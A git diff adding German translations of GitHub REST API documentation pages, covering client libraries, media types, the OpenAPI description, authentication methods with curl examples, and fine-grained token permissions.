+- **Python** → [octokit.py](https://github.com/khornberg/octokit.py)
+- **Ruby** → [octokit.rb](https://github.com/octokit/octokit.rb)
+- **.NET** → [octokit.net](https://github.com/octokit/octokit.net)
+- **JavaScript** → [octokit/octokit.js](https://github.com/octokit/octokit.js)
+
+## Drittanbieterbibliotheken
+
+### Clojure
+
+| Name der Bibliothek | Repository |
+|---|---|
+|**Tentacles**| [Raynes/tentacles](https://github.com/Raynes/tentacles)|
+
+### Dart
+
+| Name der Bibliothek | Repository |
+|---|---|
+|**github.dart** | [SpinlockLabs/github.dart](https://github.com/SpinlockLabs/github.dart)|
+
+### Emacs Lisp
+
+| Name der Bibliothek | Repository |
+|---|---|
+|**gh.el**    | [sigma/gh.el](https://github.com/sigma/gh.el)|
+
+### Erlang
+
+| Name der Bibliothek | Repository |
+|---|---|
+|**octo-erl** | [sdepold/octo.erl](https://github.com/sdepold/octo.erl)|
+
+### Go
+
+| Name der Bibliothek | Repository |
+|---|---|
+|**go-github**| [google/go-github](https://github.com/google/go-github)|
+
+### Haskell
+
+| Name der Bibliothek | Repository |
+|---|---|
+|**haskell-github** | [fpco/Github](https://github.com/fpco/GitHub)|
+
+### Java
+
+| Name der Bibliothek | Repository | Weitere Informationen |
+|---|---|---|
+|**GitHub-API für Java**| [org.kohsuke.github (von github-api)](http://github-api.kohsuke.org/)|definiert eine objektorientierte Darstellung der GitHub-API.|
+|**JCabi GitHub-API**|[github.jcabi.com (persönliche Website)](http://github.jcabi.com)|basiert auf der Java7 JSON-API (JSR-353), vereinfacht Tests mit Laufzeit-GitHub-Stub und deckt die gesamte API ab.|
+
+### JavaScript
+
+| Name der Bibliothek | Repository |
+|---|---|
+|**NodeJS-GitHub-Bibliothek**| [pksunkara/octonode](https://github.com/pksunkara/octonode)|
+|**Clientseitiger gh3-API-Wrapper**| [k33g/gh3](https://github.com/k33g/gh3)|
+|**Github.js-Wrapper um die GitHub-API**|[michael/github](https://github.com/michael/github)|
+|**Promise-basierte CoffeeScript-Bibliothek für den Browser oder NodeJS**|[philschatz/github-client](https://github.com/philschatz/github-client)|
+
+### Julia
+
+| Name der Bibliothek | Repository |
+|---|---|
+|**GitHub.jl**|[JuliaWeb/GitHub.jl](https://github.com/JuliaWeb/GitHub.jl)|
+
+### OCaml
+
+| Name der Bibliothek | Repository |
+|---|---|
+|**ocaml-github**|[mirage/ocaml-github](https://github.com/mirage/ocaml-github)|
+
+### Perl
+
+| Name der Bibliothek | Repository | metacpan-Website für die Bibliothek |
+|---|---|---|
+|**Pithub**|[plu/Pithub](https://github.com/plu/Pithub)|[Pithub CPAN](http://metacpan.org/module/Pithub)|
+|**Net::GitHub**|[fayland/perl-net-github](https://github.com/fayland/perl-net-github)|[Net:GitHub CPAN](https://metacpan.org/pod/Net::GitHub)|
+
+### PHP
+
+| Name der Bibliothek | Repository |
+|---|---|
+|**PHP GitHub API**|[KnpLabs/php-github-api](https://github.com/KnpLabs/php-github-api)|
+|**GitHub Joomla!-Paket**|[joomla-framework/github-api](https://github.com/joomla-framework/github-api)|
+|**GitHub-Brücke für Laravel**|[GrahamCampbell/Laravel-GitHub](https://github.com/GrahamCampbell/Laravel-GitHub)|
+
+### PowerShell
+
+| Name der Bibliothek | Repository |
+|---|---|
+|**PowerShellForGitHub**|[microsoft/PowerShellForGitHub](https://github.com/microsoft/PowerShellForGitHub)|
+
+### Python
+
+| Name der Bibliothek | Repository |
+|---|---|
+|**gidgethub**|[brettcannon/gidgethub](https://github.com/brettcannon/gidgethub)|
+|**ghapi**|[fastai/ghapi](https://github.com/fastai/ghapi)|
+|**PyGithub**|[PyGithub/PyGithub](https://github.com/PyGithub/PyGithub)|
+|**libsaas**|[duckboard/libsaas](https://github.com/ducksboard/libsaas)|
+|**github3.py**|[sigmavirus24/github3.py](https://github.com/sigmavirus24/github3.py)|
+|**sanction**|[demianbrecht/sanction](https://github.com/demianbrecht/sanction)|
+|**agithub**|[jpaugh/agithub](https://github.com/jpaugh/agithub)|
+|**octohub**|[turnkeylinux/octohub](https://github.com/turnkeylinux/octohub)|
+|**github-flask**|[github-flask (offizielle Website)](http://github-flask.readthedocs.org)|
+|**torngithub**|[jkeylu/torngithub](https://github.com/jkeylu/torngithub)|
+|**githubkit**|[yanyongyu/githubkit](https://github.com/yanyongyu/githubkit)|
+
+### Ruby
+
+| Name der Bibliothek | Repository |
+|---|---|
+|**GitHub-API-Gem**|[peter-murach/github](https://github.com/peter-murach/github)|
+|**Ghee**|[rauhryan/ghee](https://github.com/rauhryan/ghee)|
+
+### Rust
+
+| Name der Bibliothek | Repository |
+|---|---|
+|**Octocrab**|[XAMPPRocky/octocrab](https://github.com/XAMPPRocky/octocrab)|
+|**Octocat**|[octocat-rs/octocat-rs](https://github.com/octocat-rs/octocat-rs)|
+
+### Scala
+
+| Name der Bibliothek | Repository |
+|---|---|
+|**Hubcat**|[softprops/hubcat](https://github.com/softprops/hubcat)|
+|**Github4s**|[47deg/github4s](https://github.com/47deg/github4s)|
+
+### Shell
+
+| Name der Bibliothek | Repository |
+|---|---|
+|**ok.sh**|[whiteinge/ok.sh](https://github.com/whiteinge/ok.sh)|
diff --git a/translations/de-DE/content/rest/overview/media-types.md b/translations/de-DE/content/rest/overview/media-types.md
new file mode 100644
index 0000000000..89e1d1f545
--- /dev/null
+++ b/translations/de-DE/content/rest/overview/media-types.md
@@ -0,0 +1,134 @@
+---
+title: Medientypen
+intro: 'Hier erfährst du mehr über Medientypen, um das Format der Daten anzugeben, die du nutzen möchtest.'
+redirect_from:
+  - /v3/media
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+ms.openlocfilehash: d93ba31647967f2f3a38dd47c5cc6d8a623c6c6e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146681125'
+---
+In der API werden benutzerdefinierte Medientypen verwendet, damit Consumer das Format der Daten auswählen können, die sie empfangen möchten. Dies erfolgt durch Hinzufügen eines oder mehrerer der folgenden Typen zum `Accept`-Header, wenn du eine Anforderung vornehmen. Medientypen sind ressourcenspezifisch, sodass sie unabhängig voneinander geändert werden können und Formate unterstützen, die von anderen Ressourcen nicht unterstützt werden.
+
+Alle {% data variables.product.product_name %}-Medientypen sehen wie folgt aus:
+
+    application/vnd.github.param[+json]
+
+Die einfachsten Medientypen, die von der API unterstützt werden, sind:
+
+    application/vnd.github+json
+    application/json
+
+{% note %}
+
+**Hinweis:** In der Vergangenheit wurde empfohlen, `v3` in den `Accept`-Header einzufügen. Dies ist nicht mehr erforderlich und hat keine Auswirkungen auf API-Anforderungen.
+
+{% endnote %}
+
+Wenn du eine Eigenschaft (wie full oder raw unten) festlegst, füge diese nach `github` ein:
+
+    application/vnd.github.raw+json
+
+## Eigenschaften des Kommentartexts
+
+Der Textkörper eines Kommentars kann in [GitHub Flavored Markdown][gfm] geschrieben werden, [Probleme](/rest/reference/issues), [Problemkommentare](/rest/reference/issues#comments), [Pull Request-Kommentare](/rest/reference/pulls#comments) und die [Gist-Kommentar](/rest/reference/gists#comments)-APIs akzeptieren alle dieselben Medientypen:
+
+### Raw
+
+    application/vnd.github.raw+json
+
+Gibt den unformatierten Markdown-Text zurück. Die Antwort enthält `body`. Dies ist der Standardwert, wenn du keinen bestimmten Medientyp übergibst.
+
+### Text
+
+    application/vnd.github.text+json
+
+Gibt nur eine Textdarstellung des Markdown-Texts zurück. Die Antwort enthält `body_text`.
+
+### HTML
+
+    application/vnd.github.html+json
+
+Gibt HTML zurück, das aus dem Markdown des Texts gerendert wird. Die Antwort enthält `body_html`.
+
+### Vollständig
+
+    application/vnd.github.full+json
+
+Gibt Raw-, Text- und HTML-Darstellungen zurück. Die Antwort enthält `body`, `body_text` und `body_html`:
+
+## Git-Blobeigenschaften
+
+Die folgenden Medientypen sind beim [Abrufen eines Blobs](/rest/reference/git#get-a-blob) zulässig:
+
+### JSON
+
+    application/vnd.github+json
+    application/json
+
+Gibt die JSON-Darstellung des Blobs mit `content` als eine base64-codierten Zeichenfolge zurück. Dies ist der Standardwert, wenn nichts übergeben wird.
+
+### Raw
+
+    application/vnd.github.raw
+
+Gibt die unformatierten Blobdaten zurück.
+
+## Commits, Commitvergleich und Pull Requests
+
+Die [Commits-API](/rest/reference/repos#commits) und [Pull Request-API](/rest/reference/pulls) unterstützen [diff][git-diff]- und [patch][git-patch]-Formate:
+
+### diff
+
+    application/vnd.github.diff
+
+### patch
+
+    application/vnd.github.patch
+
+### sha
+
+    application/vnd.github.sha
+
+## Repository-Inhalt
+
+### Raw
+
+    application/vnd.github.raw
+
+Gibt die unformatierten Inhalte einer Datei zurück. Dies ist der Standardwert, wenn du keinen bestimmten Medientyp übergibst.
+
+### HTML
+
+    application/vnd.github.html
+
+Für Markupdateien wie Markdown oder AsciiDoc kannst du den gerenderten HTML-Code mithilfe des Medientyps `.html` abrufen. Markupsprachen werden mit unserer Open-Source-[Markup-Bibliothek](https://github.com/github/markup) in HTML gerendert.
+
+## Gists
+
+### Raw
+
+    application/vnd.github.raw
+
+Gibt die unformatierten Inhalte eines Gists zurück. Dies ist der Standardwert, wenn du keinen bestimmten Medientyp übergibst.
+
+### base64
+
+    application/vnd.github.base64
+
+Die Gist-Inhalte werden base64-codiert, bevor sie gesendet werden. Dies kann nützlich sein, wenn dein Gist ungültige UTF-8-Sequenzen enthält.
+
+[gfm]:http://github.github.com/github-flavored-markdown/
+[git-diff]: http://git-scm.com/docs/git-diff
+[git-patch]: http://git-scm.com/docs/git-format-patch
+[hypermedia]: /rest#hypermedia
+[versions]: /developers/overview/about-githubs-apis
diff --git a/translations/de-DE/content/rest/overview/openapi-description.md b/translations/de-DE/content/rest/overview/openapi-description.md
new file mode 100644
index 0000000000..6caf65a4e0
--- /dev/null
+++ b/translations/de-DE/content/rest/overview/openapi-description.md
@@ -0,0 +1,35 @@
+---
+title: OpenAPI-Beschreibung
+intro: "Eine vollständige Erläuterung der {% data variables.product.product_name %}-REST-API findest du in einem OpenAPI\_3.0-konformen Dokument."
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - API
+ms.openlocfilehash: 84c81c856da1da67320463fba4b9b52bca88c844
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145109152'
+---
+## Über OpenAPI-Beschreibungen
+
+Bei [OpenAPI](https://swagger.io/docs/specification/about/) handelt es sich um eine Spezifikation zum Beschreiben von REST-APIs. OpenAPI-Beschreibungen ermöglichen es Menschen und Computern, die Funktionen einer API zu ermitteln, ohne zuerst Dokumentation lesen oder die Implementierung verstehen zu müssen. {% data variables.product.company_short %} hat seine REST-API als OpenAPI 3.0-kompatibles Dokument öffentlich verfügbar gemacht.
+
+## Abrufen der {% data variables.product.company_short %} OpenAPI-Beschreibung
+
+Du findest die Beschreibung im Open Source-Repository [REST-API OpenAPI Description](https://github.com/github/rest-api-description) (REST-API OpenAPI-Beschreibung).
+
+Wir stellen die Beschreibung in zwei Formaten bereit. Die gebündelte Version funktioniert in den meisten Fällen, da sie OpenAPI-Komponenten zur Wiederverwendung und Lesbarkeit enthält. Wenn deine Tools keine Inlineverweise auf Komponenten unterstützen, stellen wir auch eine vollständig dereferenzierte Version bereit.
+
+## Verwenden der {% data variables.product.company_short %} OpenAPI-Beschreibung
+
+Es gibt viele Verwendungsmöglichkeiten für eine OpenAPI-Beschreibung. Beispielsweise ist Folgendes möglich:
+
+* Generiere deinen eigenen API-Client.
+* Überprüfen und Testen einer {% data variables.product.company_short %} REST-API-Integration.
+* Erkunde und interagiere mit der {% data variables.product.product_name %} REST-API mithilfe von Tools von Drittanbietern, z. B. Insomnia oder Postman.
+
+{% data variables.product.company_short %} verwendet beispielsweise die REST OpenAPI-Beschreibung, um die {% data variables.product.product_name %} [REST-API-Referenzdokumentation](/rest) zu generieren.
diff --git a/translations/de-DE/content/rest/overview/other-authentication-methods.md b/translations/de-DE/content/rest/overview/other-authentication-methods.md
new file mode 100644
index 0000000000..cd303a1c11
--- /dev/null
+++ b/translations/de-DE/content/rest/overview/other-authentication-methods.md
@@ -0,0 +1,152 @@
+---
+title: Other authentication methods
+intro: You can use basic authentication for testing in a non-production environment.
+redirect_from:
+  - /v3/auth
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+shortTitle: Other authentication methods
+---
+
+
+{% ifversion fpt or ghes or ghec %}
+While the API provides multiple methods for authentication, we strongly
+recommend using [OAuth](/apps/building-integrations/setting-up-and-registering-oauth-apps/) for production applications. The other
+methods provided are intended to be used for scripts or testing (i.e., cases
+where full OAuth would be overkill). Third party applications that rely on
+{% data variables.product.product_name %} for authentication should not ask for or collect {% data variables.product.product_name %} credentials.
+Instead, they should use the [OAuth web flow](/apps/building-oauth-apps/authorizing-oauth-apps/).
+
+{% endif %}
+
+{% ifversion ghae %}
+
+To authenticate we recommend using [OAuth](/apps/building-integrations/setting-up-and-registering-oauth-apps/) tokens, such a {% data variables.product.pat_generic %} through the [OAuth web flow](/apps/building-oauth-apps/authorizing-oauth-apps/).
+
+{% endif %}
+
+## Basic Authentication
+
+The API supports Basic Authentication as defined in
+[RFC2617](http://www.ietf.org/rfc/rfc2617.txt) with a few slight differences.
+The main difference is that the RFC requires unauthenticated requests to be
+answered with `401 Unauthorized` responses. In many places, this would disclose
+the existence of user data. Instead, the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API responds with `404 Not Found`.
+This may cause problems for HTTP libraries that assume a `401 Unauthorized`
+response. The solution is to manually craft the `Authorization` header.
+
+### Via {% data variables.product.pat_generic %}s
+
+We recommend you use {% ifversion pat-v2%}{% data variables.product.pat_v2 %}s{% else %}{% data variables.product.pat_generic %}s{% endif %} to authenticate to the GitHub API.
+
+```shell
+$ curl -u USERNAME:TOKEN {% data variables.product.api_url_pre %}/user
+```
+
+This approach is useful if your tools only support Basic Authentication but you want to take advantage of {% data variables.product.pat_generic %} security features.
+
+### Via username and password
+
+{% ifversion fpt or ghec %}
+
+{% note %}
+
+**Note:** {% data variables.product.prodname_dotcom %} has discontinued password authentication to the API starting on November 13, 2020 for all {% data variables.product.prodname_dotcom_the_website %} accounts, including those on a {% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, or {% data variables.product.prodname_ghe_cloud %} plan. You must now authenticate to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API with an API token, such as an OAuth access token, GitHub App installation access token, or {% data variables.product.pat_generic %}, depending on what you need to do with the token. For more information, see "[Troubleshooting](/rest/overview/troubleshooting#basic-authentication-errors)."
+ 
+{% endnote %}
+
+{% endif %}
+
+{% ifversion ghes %}
+To use Basic Authentication with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, simply send the username and
+password associated with the account.
+
+For example, if you're accessing the API via [cURL][curl], the following command
+would authenticate you if you replace `<username>` with your {% data variables.product.product_name %} username.
+(cURL will prompt you to enter the password.)
+
+```shell
+$ curl -u USERNAME {% data variables.product.api_url_pre %}/user
+```
+If you have two-factor authentication enabled, make sure you understand how to [work with two-factor authentication](/rest/overview/other-authentication-methods#working-with-two-factor-authentication).
+
+{% endif %}
+
+{% ifversion fpt or ghec %}
+### Authenticating for SAML SSO
+
+{% note %}
+
+**Note:** Integrations and OAuth applications that generate tokens on behalf of others are automatically authorized.
+
+{% endnote %}
+
+{% note %}
+
+**Note:** {% data reusables.getting-started.bearer-vs-token %}
+
+{% endnote %}
+
+If you're using the API to access an organization that enforces [SAML SSO][saml-sso] for authentication, you'll need to create a {% data variables.product.pat_generic %} and [authorize the token][allowlist] for that organization. Visit the URL specified in `X-GitHub-SSO` to authorize the token for the organization.
+
+```shell
+$ curl -v -H "Authorization: Bearer TOKEN" {% data variables.product.api_url_pre %}/repos/octodocs-test/test
+
+> X-GitHub-SSO: required; url=https://github.com/orgs/octodocs-test/sso?authorization_request=AZSCKtL4U8yX1H3sCQIVnVgmjmon5fWxks5YrqhJgah0b2tlbl9pZM4EuMz4
+{
+  "message": "Resource protected by organization SAML enforcement. You must grant your personal token access to this organization.",
+  "documentation_url": "https://docs.github.com"
+}
+```
+
+When requesting data that could come from multiple organizations (for example, [requesting a list of issues created by the user][user-issues]), the `X-GitHub-SSO` header indicates which organizations require you to authorize your {% data variables.product.pat_generic %}:
+
+```shell
+$ curl -v -H "Authorization: Bearer TOKEN" {% data variables.product.api_url_pre %}/user/issues
+
+> X-GitHub-SSO: partial-results; organizations=21955855,20582480
+```
+
+The value `organizations` is a comma-separated list of organization IDs for organizations require authorization of your {% data variables.product.pat_generic %}.
+{% endif %}
+
+{% ifversion fpt or ghes or ghec %}
+## Working with two-factor authentication
+
+When you have two-factor authentication enabled, [Basic Authentication](#basic-authentication) for _most_ endpoints in the REST API requires that you use a {% data variables.product.pat_generic %}{% ifversion ghes %} or OAuth token instead of your username and password{% endif %}.
+
+You can generate a new {% data variables.product.pat_generic %} {% ifversion fpt or ghec %}using [{% data variables.product.product_name %} developer settings](https://github.com/settings/tokens/new){% endif %}{% ifversion ghes %} or with the "[Create a new authorization][/rest/reference/oauth-authorizations#create-a-new-authorization]" endpoint in the OAuth Authorizations API to generate a new OAuth token{% endif %}. For more information, see "[Creating a {% data variables.product.pat_generic %} for the command line](/github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line)". Then you would use these tokens to [authenticate using OAuth token][oauth-auth] with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API.{% ifversion ghes %} The only time you need to authenticate with your username and password is when you create your OAuth token or use the OAuth Authorizations API.{% endif %}
+
+{% endif %}
+
+{% ifversion ghes %}
+### Using the OAuth Authorizations API with two-factor authentication
+
+When you make calls to the OAuth Authorizations API, Basic Authentication requires that you use a one-time password (OTP) and your username and password instead of tokens. When you attempt to authenticate with the OAuth Authorizations API, the server will respond with a `401 Unauthorized` and one of these headers to let you know that you need a two-factor authentication code:
+
+`X-GitHub-OTP: required; SMS` or `X-GitHub-OTP: required; app`.  
+
+This header tells you how your account receives its two-factor authentication codes. Depending how you set up your account, you will either receive your OTP codes via SMS or you will use an application like Google Authenticator or 1Password. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)." Pass the OTP in the header:
+
+```shell
+$ curl --request POST \
+  --url https://api.github.com/authorizations \
+  --header 'authorization: Basic PASSWORD' \
+  --header 'content-type: application/json' \
+  --header 'x-github-otp: OTP' \
+  --data '{"scopes": ["public_repo"], "note": "test"}'
+```
+{% endif %}
+
+[curl]: http://curl.haxx.se/
+[oauth-auth]: /rest/overview/resources-in-the-rest-api#authentication
+[personal-access-tokens]: /articles/creating-a-personal-access-token-for-the-command-line
+[saml-sso]: /articles/about-identity-and-access-management-with-saml-single-sign-on
+[saml-sso-tokens]: https://github.com/settings/tokens
+[allowlist]: /github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on
+[user-issues]: /rest/reference/issues#list-issues-assigned-to-the-authenticated-user
diff --git a/translations/de-DE/content/rest/overview/permissions-required-for-fine-grained-personal-access-tokens.md b/translations/de-DE/content/rest/overview/permissions-required-for-fine-grained-personal-access-tokens.md
new file mode 100644
index 0000000000..01e9ad8ed7
--- /dev/null
+++ b/translations/de-DE/content/rest/overview/permissions-required-for-fine-grained-personal-access-tokens.md
@@ -0,0 +1,733 @@
+---
+title: Erforderliche Berechtigungen für differenzierte persönliche Zugangstoken
+intro: 'Du kannst nach den benötigten Berechtigungen für jeden Endpunkt suchen, der mit einem {% data variables.product.pat_v2 %} kompatibel ist.'
+versions:
+  feature: pat-v2
+miniTocMaxHeadingLevel: 3
+shortTitle: '{% data variables.product.pat_v2_caps %} permissions'
+ms.openlocfilehash: 97154c54229f66f3a6b3bf852f7aabab89a0d2ee
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107685'
+---
+## Informationen zu den erforderlichen Berechtigungen für {% data variables.product.pat_v2 %}
+
+Wenn du ein {% data variables.product.pat_v2 %} erstellst, erteilst du ihm bestimmte Berechtigungen. Berechtigungen definieren, auf welche Ressourcen die {% data variables.product.prodname_github_app %} über die API zugreifen kann. Weitere Informationen findest du unter [Erstellen eines {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token).
+
+## Aktionen
+
+- [`GET /repos/{owner}/{repo}/actions/cache/usage`](/rest/reference/actions#get-github-actions-cache-usage-for-a-repository) (Lesen)
+- [`GET /repos/{owner}/{repo}/actions/caches`](/rest/actions/cache#list-github-actions-caches-for-a-repository) (Lesen)
+- [`DELETE /repos/{owner}/{repo}/actions/caches`](/rest/actions/cache#delete-github-actions-caches-for-a-repository-using-a-cache-key) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/actions/caches/{cache_id}`](/rest/actions/cache#delete-a-github-actions-cache-for-a-repository-using-a-cache-id) (Schreiben)
+- [`GET /repos/{owner}/{repo}/actions/artifacts`](/rest/reference/actions#list-artifacts-for-a-repository) (Lesen)
+- [`GET /repos/{owner}/{repo}/actions/artifacts/{artifact_id}`](/rest/reference/actions#get-an-artifact) (Lesen)
+- [`DELETE /repos/{owner}/{repo}/actions/artifacts/{artifact_id}`](/rest/reference/actions#delete-an-artifact) (Schreiben)
+- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/artifacts`](/rest/reference/actions#list-workflow-run-artifacts) (Lesen)
+- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/pending_deployments`](/rest/reference/actions#get-pending-deployments-for-a-workflow-run) (Lesen)
+- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/pending_deployments`](/rest/reference/actions#review-pending-deployments-for-a-workflow-run) (Lesen)
+- [`GET /repos/{owner}/{repo}/environments`](/rest/deployments/environments#list-environments) (Lesen)
+- [`GET /repos/{owner}/{repo}/actions/jobs/{job_id}`](/rest/reference/actions#get-a-job-for-a-workflow-run) (Lesen)
+- [`GET /repos/{owner}/{repo}/actions/jobs/{job_id}/logs`](/rest/reference/actions#download-job-logs-for-a-workflow-run) (Lesen)
+- [`POST /repos/{owner}/{repo}/actions/jobs/{job_id}/rerun`](/rest/reference/actions#re-run-job-for-workflow-run) (Schreiben)
+- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/attempts/{attempt_number}/jobs`](/rest/reference/actions#list-jobs-for-a-workflow-run-attempt) (Lesen)
+- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/jobs`](/rest/reference/actions#list-jobs-for-a-workflow-run) (Lesen)
+- [`GET /repos/{owner}/{repo}/actions/runs`](/rest/reference/actions#list-workflow-runs-for-a-repository) (Lesen)
+- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}`](/rest/reference/actions#get-a-workflow-run) (Lesen)
+- [`DELETE /repos/{owner}/{repo}/actions/runs/{run_id}`](/rest/reference/actions#delete-a-workflow-run) (Schreiben)
+- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/approvals`](/rest/reference/actions#get-the-review-history-for-a-workflow-run) (Lesen)
+- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/approve`](/rest/reference/actions#approve-a-workflow-run-for-a-fork-pull-request) (Schreiben)
+- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/attempts/{attempt_number}`](/rest/reference/actions#get-a-workflow-run-attempt) (Lesen)
+- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/attempts/{attempt_number}/logs`](/rest/reference/actions#download-workflow-run-attempt-logs) (Lesen)
+- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/cancel`](/rest/reference/actions#cancel-a-workflow-run) (Schreiben)
+- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/logs`](/rest/reference/actions#download-workflow-run-logs) (Lesen)
+- [`DELETE /repos/{owner}/{repo}/actions/runs/{run_id}/logs`](/rest/reference/actions#delete-workflow-run-logs) (Schreiben)
+- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/rerun`](/rest/reference/actions#re-run-a-workflow) (Schreiben)
+- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/rerun-failed-jobs`](/rest/reference/actions#re-run-workflow-failed-jobs) (Schreiben)
+- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/timing`](/rest/reference/actions#get-workflow-run-usage) (Lesen)
+- [`GET /repos/{owner}/{repo}/actions/workflows/{workflow_id}/runs`](/rest/reference/actions#list-workflow-runs) (Lesen)
+- [`GET /repos/{owner}/{repo}/actions/workflows`](/rest/reference/actions#list-repository-workflows) (Lesen)
+- [`GET /repos/{owner}/{repo}/actions/workflows/{workflow_id}`](/rest/reference/actions#get-a-workflow) (Lesen)
+- [`PUT /repos/{owner}/{repo}/actions/workflows/{workflow_id}/disable`](/rest/reference/actions#disable-a-workflow) (Schreiben)
+- [`POST /repos/{owner}/{repo}/actions/workflows/{workflow_id}/dispatches`](/rest/reference/actions#create-a-workflow-dispatch-event) (Schreiben)
+- [`PUT /repos/{owner}/{repo}/actions/workflows/{workflow_id}/enable`](/rest/reference/actions#enable-a-workflow) (Schreiben)
+- [`GET /repos/{owner}/{repo}/actions/workflows/{workflow_id}/timing`](/rest/reference/actions#get-workflow-usage) (Lesen)
+
+## Verwaltung
+
+- [`PUT /repos/{owner}/{repo}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#create-or-update-a-repository-secret) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#delete-a-repository-secret) (Schreiben)
+- [`GET /repos/{owner}/{repo}/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-a-repository) (Lesen)
+- [`PUT /repos/{owner}/{repo}/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-a-repository) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-for-a-repository) (Schreiben)
+- [`PUT /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#add-or-update-team-repository-permissions) (Schreiben)
+- [`DELETE /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#remove-a-repository-from-a-team) (Schreiben)
+- [`POST /orgs/{org}/repos`](/rest/reference/repos#create-an-organization-repository) (Schreiben)
+- [`PATCH /repos/{owner}/{repo}`](/rest/reference/repos/#update-a-repository) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}`](/rest/reference/repos#delete-a-repository) (Schreiben)
+- [`POST /repos/{owner}/{repo}/forks`](/rest/reference/repos#create-a-fork) (Schreiben)
+- [`GET /repos/{owner}/{repo}/teams`](/rest/reference/repos#list-repository-teams) (Lesen)
+- [`POST /repos/{owner}/{repo}/transfer`](/rest/reference/repos#transfer-a-repository) (Schreiben)
+- [`POST /user/repos`](/rest/reference/repos#create-a-repository-for-the-authenticated-user) (Schreiben)
+- [`GET /repos/{owner}/{repo}/actions/permissions`](/rest/reference/actions#get-github-actions-permissions-for-a-repository) (Lesen)
+- [`PUT /repos/{owner}/{repo}/actions/permissions`](/rest/reference/actions#set-github-actions-permissions-for-a-repository) (Schreiben)
+- [`GET /repos/{owner}/{repo}/actions/permissions/access`](/rest/reference/actions#get-workflow-access-level-to-a-repository) (Lesen)
+- [`PUT /repos/{owner}/{repo}/actions/permissions/access`](/rest/reference/actions#set-workflow-access-to-a-repository) (Schreiben)
+- [`GET /repos/{owner}/{repo}/actions/permissions/selected-actions`](/rest/reference/actions#get-allowed-actions-for-a-repository) (Lesen)
+- [`PUT /repos/{owner}/{repo}/actions/permissions/selected-actions`](/rest/reference/actions#set-allowed-actions-for-a-repository) (Schreiben)
+- [`GET /repos/{owner}/{repo}/actions/permissions/workflow`](/rest/reference/actions#get-default-workflow-permissions-for-a-repository) (Lesen)
+- [`PUT /repos/{owner}/{repo}/actions/permissions/workflow`](/rest/reference/actions#set-default-workflow-permissions-for-a-repository) (Schreiben)
+- [`GET /repos/{owner}/{repo}/autolinks`](/v3/repos#list-autolinks) (Lesen)
+- [`POST /repos/{owner}/{repo}/autolinks`](/v3/repos#create-an-autolink) (Schreiben)
+- [`GET /repos/{owner}/{repo}/autolinks/{autolink_id}`](/v3/repos#get-autolink) (Lesen)
+- [`DELETE /repos/{owner}/{repo}/autolinks/{autolink_id}`](/v3/repos#delete-autolink) (Schreiben)
+- [`PUT /repos/{owner}/{repo}/automated-security-fixes`](/rest/reference/repos#enable-automated-security-fixes) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/automated-security-fixes`](/rest/reference/repos#disable-automated-security-fixes) (Schreiben)
+- [`PUT /repos/{owner}/{repo}/collaborators/{username}`](/rest/collaborators/collaborators#add-a-repository-collaborator) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/collaborators/{username}`](/rest/collaborators/collaborators#remove-a-repository-collaborator) (Schreiben)
+- [`GET /repos/{owner}/{repo}/invitations`](/rest/collaborators/invitations#list-repository-invitations) (Lesen)
+- [`PATCH /repos/{owner}/{repo}/invitations/{invitation_id}`](/rest/collaborators/invitations#update-a-repository-invitation) (Schreiben)
